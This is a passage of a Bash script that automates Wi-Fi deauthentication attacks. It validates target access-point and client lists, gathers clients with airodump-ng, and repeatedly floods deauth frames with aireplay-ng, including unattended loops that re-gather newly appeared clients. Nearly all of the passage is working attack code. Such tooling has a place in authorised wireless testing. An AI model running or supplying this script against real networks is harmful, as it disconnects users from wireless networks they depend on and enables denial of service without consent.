if [[ -n "$AP_BSSID_FILE" ]]; then
OUTPUT_FILE="${AP_BSSID_FILE}.${CDATE}"
> "$OUTPUT_FILE" # Initialize/clear the file
declare -a SKIPPED_APS
mapfile -t AP_ENTRIES < <(awk -F"," '{print $1 "," $2 "," $3}' "$AP_BSSID_FILE" | uniq)
for entry in "${AP_ENTRIES[@]}"; do
IFS=',' read -r ap_bssid stas channel <<< "$entry"
if [[ -z "$channel" || ! "$channel" =~ ^[0-9]+$ ]]; then
SKIPPED_APS+=("$ap_bssid - Channel invalid or empty")
continue
fi
if [[ "$channel" -le 14 ]]; then
if [[ "$IS_24GHZ_SUPPORTED" = false ]]; then
SKIPPED_APS+=("$ap_bssid - 2.4GHz not supported")
continue
elif [[ ! " ${VALID_24GHZ_CHANNELS[@]} " =~ " $channel " ]]; then
SKIPPED_APS+=("$ap_bssid - Invalid 2.4GHz channel $channel")
continue
fi
elif [[ "$channel" -ge 36 ]]; then
if [[ "$IS_5GHZ_SUPPORTED" = false ]]; then
SKIPPED_APS+=("$ap_bssid - 5GHz not supported")
continue
elif [[ ! " ${VALID_5GHZ_CHANNELS[@]} " =~ " $channel " ]]; then
SKIPPED_APS+=("$ap_bssid - Invalid 5GHz channel $channel")
continue
fi
else
SKIPPED_APS+=("$ap_bssid - Unknown band or invalid channel $channel")
continue
fi
echo "$ap_bssid,$stas,$channel" >> "$OUTPUT_FILE"
done
# Keeps file consistent with only one CDATE
mv "${OUTPUT_FILE}" "${AP_BSSID_FILE}"
OUTPUT_FILE="${AP_BSSID_FILE}"
if [[ ${#SKIPPED_APS[@]} -gt 0 ]]; then
echo -e "\n[SUMMARY]: Skipped APs:"
for skipped in "${SKIPPED_APS[@]}"; do
echo " $skipped"
done
echo "Continuing in ${SKIPPED_AP_DELAY} seconds..."
sleep "${SKIPPED_AP_DELAY}"
fi
echo "Validation complete. Results saved to ${OUTPUT_FILE}."
fi
}
# Validate Params
validate_params
# Check for update channels flag
update_ch_check
auto_all
# Check for ch update first
if [ "${UPDATE_CH}" == true ]; then
updatechannels
fi
# Call Func
auto_gather
bssid_file_channel_check() {
# Check if BSSID file is provided
if [ -n "${AP_BSSID_FILE}" ]; then
while IFS=',' read -r bssid channel; do
# Skip empty lines
if [ -z "${bssid}" ] || [ -z "${channel}" ]; then
continue
fi
# Validate the channel
validate_bssid "${bssid}"
done < "${AP_BSSID_FILE}"
validate_channel_range "${channel}"
fi
}
# Call bssid channel check
bssid_file_channel_check
if [ -n "$AP_BSSID" ]; then
BSSIDS=("$AP_BSSID")
STATION_BSSIDS=("$STA_BSSID")
CHANNELS=("$CHANNEL")
elif [ -n "$AP_BSSID_FILE" ]; then
# Read the three fields together per line so an empty STATION column
# (the BSSID,,CHAN placeholder rows) cannot shift channels into the
# wrong array index.
BSSIDS=()
STATION_BSSIDS=()
CHANNELS=()
while IFS=',' read -r _b _s _c; do
[ -z "$_b" ] && continue
BSSIDS+=("$_b")
STATION_BSSIDS+=("$_s")
CHANNELS+=("$_c")
done < "$AP_BSSID_FILE"
fi
# Run one aireplay-ng deauth, guarded so an error is logged and the run
# continues instead of ending the whole unattended session.
# $1 AP bssid, $2 STA bssid (may be empty -> broadcast), $3 channel
run_deauth() {
local ap="$1" sta="$2" ch="$3"
if ! iwconfig "${IFACE}" channel "${ch}" 2>/dev/null; then
echo "[WARN]: Failed to set ${IFACE} to channel ${ch} for ${ap}; skipping this target."
return 1
fi
local rc
if [ -n "$sta" ]; then
aireplay-ng -D --deauth "${COUNT}" -a "${ap}" -c "${sta}" -x "${SPEED}" --deauth-rc "${REASON}" "${IFACE}"
rc=$?
else
aireplay-ng -D --deauth "${COUNT}" -a "${ap}" -x "${SPEED}" --deauth-rc "${REASON}" "${IFACE}"
rc=$?
fi
if [ "$rc" -ne 0 ]; then
echo "[WARN]: aireplay-ng exited ${rc} for AP ${ap} STA ${sta:-broadcast}; continuing."
return 1
fi
return 0
}
# Optional: re-gather clients from the ORIGINAL AP file at the top of each
# repeat (only with --rg, and only in file mode). Rebuilds the target arrays
# so clients that appeared while unattended get picked up. Falls back to the
# existing arrays if a gather pass yields nothing.
regather_targets() {
[ "$REGATHER" = true ] || return 0
[ -n "$ORIGIN_AP_BSSID_FILE" ] || return 0
echo "[--rg] Re-detecting channels and re-gathering clients before next cycle..."
# Clear stale scan CSVs, otherwise airodump-ng rolls to -02.csv and the
# channel-update step would read last cycle's stale -01.csv.
remove_update_temp
find /tmp -maxdepth 1 -type f -name "airodump_capture-*.csv" -exec rm {} + 2>/dev/null
# Restart from the original AP list and re-run the auto pipeline
# (channel update -> client gather) exactly as --an does at startup,
# non-interactively. Save/restore the auto flags around the call.
AP_BSSID_FILE="$ORIGIN_AP_BSSID_FILE"
local _sa="$AUTO_ALL" _sg="$AUTO_GATHER" _su="$UPDATE_CH" _sq="$AUTO_QUICK"
AUTO_ALL=true
AUTO_GATHER=true
UPDATE_CH=false
AUTO_QUICK=false
update_ch_check
AUTO_ALL="$_sa"; AUTO_GATHER="$_sg"; UPDATE_CH="$_su"; AUTO_QUICK="$_sq"
local fresh="${ORIGIN_AP_BSSID_FILE}.${CDATE}"
if [ -f "$fresh" ]; then
BSSIDS=(); STATION_BSSIDS=(); CHANNELS=()
while IFS=',' read -r _b _s _c; do
[ -z "$_b" ] && continue
BSSIDS+=("$_b"); STATION_BSSIDS+=("$_s"); CHANNELS+=("$_c")
done < "$fresh"
AP_BSSID_FILE="$fresh"
echo "[--rg] Refreshed target list: ${#BSSIDS[@]} entries."
else
echo "[--rg] Re-gather produced no file; keeping previous target list."
fi
}
# Loops for Single target and AP File respectively
first_run=true
if [ -z "$AP_BSSID_FILE" ]; then
if [ -z "$CHANNEL" ]; then
echo "[ERROR]: Channel is mandatory if not using a BSSID file. Exiting." >&2
show_help
exit 1
fi
for ((j=0; j<$REPEATS; j++)); do
if [ "$first_run" = true ]; then
# Initial message for the first run
echo "Starting aireplay-ng in ${LOOP_START_DELAY} seconds with the following options."
echo "------------------------------"
echo "Target AP: ${AP_BSSID}"
echo "Target STA: ${STA_BSSID}"
echo "Channel: ${CHANNEL}"
echo "Interface: ${IFACE}"
echo "Deauthentication count: ${COUNT}"
echo "Packet speed: ${SPEED} packets/second"
echo "Repeats: $((j+1))/${REPEATS}"
echo "Wait time between attacks: ${WAIT_SECONDS}s"
echo "Reason Code: ${REASON}"
echo "------------------------------"
echo
if [ -z "${STA_BSSID[$i]}" ]; then
echo "No Station entered. Using Broadcast address."
fi
sleep "${LOOP_START_DELAY}"
first_run=false
fi
echo "Starting Attack $((j+1)) of ${REPEATS}"
echo "------------------------------"
echo "Target AP: ${AP_BSSID}"
echo "Target STA: ${STA_BSSID}"
echo "Channel: ${CHANNEL}"
echo "------------------------------"
echo
run_deauth "${AP_BSSID}" "${STA_BSSID}" "${CHANNEL}"
echo
echo "Stopped aireplay-ng instance."
if [ $j -lt $((REPEATS-1)) ]; then
echo
echo "Entering recurring delay of ${WAIT_SECONDS}s"
sleep "${WAIT_SECONDS}"
else
echo "Completed All Repeats."
fi
done
fi
if [ -f "${AP_BSSID_FILE}.${CDATE}" ]; then
AP_BSSID_FILE="${AP_BSSID_FILE}.${CDATE}"
fi
if [ -n "$AP_BSSID_FILE" ]; then